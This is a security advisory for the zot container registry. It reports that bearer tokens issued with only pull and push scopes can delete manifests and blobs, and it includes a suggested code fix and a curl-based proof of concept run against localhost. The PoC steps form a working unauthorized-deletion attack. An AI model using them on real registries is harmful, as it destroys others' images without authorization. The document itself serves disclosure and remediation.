zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion

A bearer token with only pull and push scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the "push" action, and the DistSpecAuthzHandler middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the Docker Distribution Token Authentication Specification.

Details

The vulnerability exists in two interacting components:

1. Action Mapping Collapse (pkg/api/authn.go:571–586)

The bearer authentication handler maps HTTP methods to token scope actions using a binary check:

action := "pull"
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
    action = "push"
}

This collapses DELETE, PUT, PATCH, and POST into a single "push" action. The "delete" action is never assigned.

2. Authorization Bypass for Bearer Auth (pkg/api/authz.go:270–275, 318–323)

When a request is authenticated via bearer token, the DistSpecAuthzHandler middleware, which performs fine-grained action inference (distinguishing create, read, update, and delete) is bypassed entirely:

if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) {
    next.ServeHTTP(response, request)
    return
}

3. No Handler-Level Authorization Check

Neither DeleteManifest (routes.go:799–884) nor DeleteBlob (routes.go:1192–1241) performs an independent authorization check for delete permission before executing the deletion.

Deviation from Specification and Reference Implementation

The [Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/) defines delete as a distinct action separate from push. The reference implementation ([distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the "delete" action:

case http.MethodDelete:
    records = append(records,
        auth.Access{
            Resource: resource,
            Action:   "delete",
        })

Furthermore, zot's own native access-control configuration explicitly distinguishes delete as a separate permission from create and update, confirming the project's intent that delete is a distinct authorization action.

Suggested Fix

In pkg/api/authn.go, the action mapping should distinguish DELETE:

action := "pull"
switch {
case m == http.MethodGet || m == http.MethodHead:
    action = "pull"
case m == http.MethodDelete:
    action = "delete"
default:
    action = "push"
}

The DistSpecAuthzHandler bypass for bearer-authenticated requests (authz.go:270–275) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks.

PoC

Prerequisites: zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with actions: ["pull", "push"] (no "delete").

Steps to Reproduce:

1. Configure zot with bearer authentication pointing to a token server
2. Obtain a bearer token with scope repository:poc-test:pull,push (no delete)
3. Upload a config blob:

curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/octet-stream" \
  -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
  -d '{}'
# → 201 Created

4. Push a manifest tagged v1.0 (succeeds token has push):

curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
  -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
  -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
# → 201 Created

5. DELETE the manifest with the same push-only token (should return 401, but returns 202):

curl -H "Authorization: Bearer $TOKEN" \
  -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 202 Accepted (VULNERABLE)

6. Confirm the manifest is gone:

curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
  "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 404 Not Found

Expected behavior: Step 5 should return 401 Unauthorized with a WWW-Authenticate header requesting scope="repository:poc-test:delete".

Actual behavior: Step 5 returns 202 Accepted and the manifest is permanently deleted.

A complete reproducer (minimal Go token server + zot config + automated script) is available upon request.

Impact

Privilege Escalation / Unauthorized Deletion Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions.

This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to:

• Delete arbitrary manifests (tags) within any repository covered by the token's scope
• Delete arbitrary blobs within those repositories
• Render production container images unpullable
• Rewrite image history by removing specific tags